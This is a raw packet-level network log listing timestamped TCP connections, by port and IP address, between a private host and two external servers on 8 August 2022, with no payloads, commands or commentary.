Aug 8, 2022 17:18:38.890903950 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890904903 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890932083 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890959024 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.890969038 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.890986919 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891015053 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891022921 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891043901 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891082048 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891083002 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891108036 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891134024 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891150951 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891160011 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891185999 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891201973 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891211987 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891239882 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891253948 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891268015 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891303062 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891308069 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891336918 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891376972 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891392946 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891418934 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891443968 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891458988 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891470909 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891496897 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891504049 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891525030 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891552925 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891567945 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.891580105 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.891612053 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.919279099 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919429064 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919435024 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.919492006 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919547081 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919603109 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919616938 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.919660091 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919715881 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919774055 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919776917 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.919832945 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919888973 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.919945955 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920002937 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920013905 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.920059919 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920064926 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.920118093 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920173883 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.920175076 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920350075 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920444965 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920475960 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.920506954 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920566082 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920572042 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.920703888 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920772076 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920788050 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.920840025 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920896053 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.920912027 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.920995951 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921057940 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921065092 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921113968 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921170950 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921194077 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921228886 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921287060 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921312094 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921348095 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921406031 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921423912 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921478033 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921540022 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921554089 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921597004 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921653986 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921657085 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921713114 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921772957 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921787024 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921834946 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921890974 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.921899080 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.921951056 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.922009945 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.922019958 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.922065973 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.922121048 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.922128916 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:38.922168016 CEST	80	49178	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:38.922240019 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:41.733452082 CEST	49178	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:43.637626886 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:43.637686014 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:43.637753010 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:43.677434921 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:43.677474022 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:43.717761993 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:43.717860937 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:43.727686882 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:43.727704048 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:43.728085995 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:43.935389042 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:43.935477018 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.567688942 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.602222919 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.602624893 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.602775097 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.602874994 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.602921963 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.603082895 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.603162050 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.603188038 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.603310108 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.603454113 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.603475094 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.603610039 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.603694916 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.603717089 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.603897095 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.604113102 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.604136944 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.604274988 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.604295969 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.604454041 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.604588032 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.604625940 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.604654074 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.604827881 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.604927063 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.604945898 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605076075 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605205059 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605262995 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.605277061 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605417013 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.605427980 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605557919 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605691910 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605762005 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.605798006 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.605822086 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.605978012 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606101990 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606226921 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606251001 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.606271029 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606338024 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.606350899 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606520891 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606638908 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606692076 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.606708050 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606842041 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.606901884 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.606920958 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607023001 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607083082 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.607104063 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607208014 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607270002 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.607289076 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607469082 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607537031 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.607552052 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607588053 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607645035 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.607659101 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607718945 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.607727051 CEST	443	49179	162.159.135.233	192.168.2.22
Aug 8, 2022 17:18:44.607775927 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.608376026 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.613305092 CEST	49179	443	192.168.2.22	162.159.135.233
Aug 8, 2022 17:18:44.615102053 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.645946980 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.646059990 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.650859118 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.683948994 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.683975935 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.683995962 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684010983 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684031963 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684052944 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684072971 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684092045 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684112072 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684133053 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.684184074 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.684216022 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.712677002 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712707996 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712749958 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712771893 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712791920 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712812901 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712835073 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712855101 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712877035 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712898016 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712919950 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712943077 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712963104 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712984085 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.712984085 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.713005066 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.713027000 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.713044882 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.713047981 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.713071108 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.713085890 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.713093042 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.713119030 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.713124037 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.713181973 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.743122101 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743200064 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743262053 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743314028 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743331909 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.743415117 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743464947 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743519068 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743566036 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743582964 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.743619919 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743665934 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743670940 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.743717909 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743767977 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743814945 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743823051 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.743866920 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743916988 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.743925095 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.743971109 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744019985 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744029999 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744079113 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744122982 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744137049 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744180918 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744225025 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744236946 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744282007 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744329929 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744340897 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744385004 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744429111 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744440079 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744482994 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744534016 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744539976 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744587898 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744638920 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744642019 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744688988 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744735003 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744749069 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744790077 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744832039 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744849920 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744887114 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744929075 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.744944096 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.744988918 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.745034933 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.745055914 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.745088100 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.745136023 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.745136976 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.745178938 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.745224953 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773230076 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773294926 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773339987 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773377895 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773389101 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773430109 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773448944 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773472071 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773510933 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773526907 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773550987 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773591995 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773606062 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773633003 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773673058 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773703098 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773713112 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773752928 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773762941 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773794889 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773833036 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773845911 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773873091 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773910999 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773921967 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.773950100 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773988962 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.773996115 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774029016 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774068117 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774076939 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774108887 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774147034 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774158955 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774187088 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774226904 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774241924 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774266005 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774307966 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774323940 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774347067 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774388075 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774401903 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774429083 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774466991 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774487019 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774507046 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774545908 CEST	80	49180	109.206.241.81	192.168.2.22
Aug 8, 2022 17:18:44.774561882 CEST	49180	80	192.168.2.22	109.206.241.81
Aug 8, 2022 17:18:44.774585009 CEST	80	49180	109.206.241.81	192.168.2.22
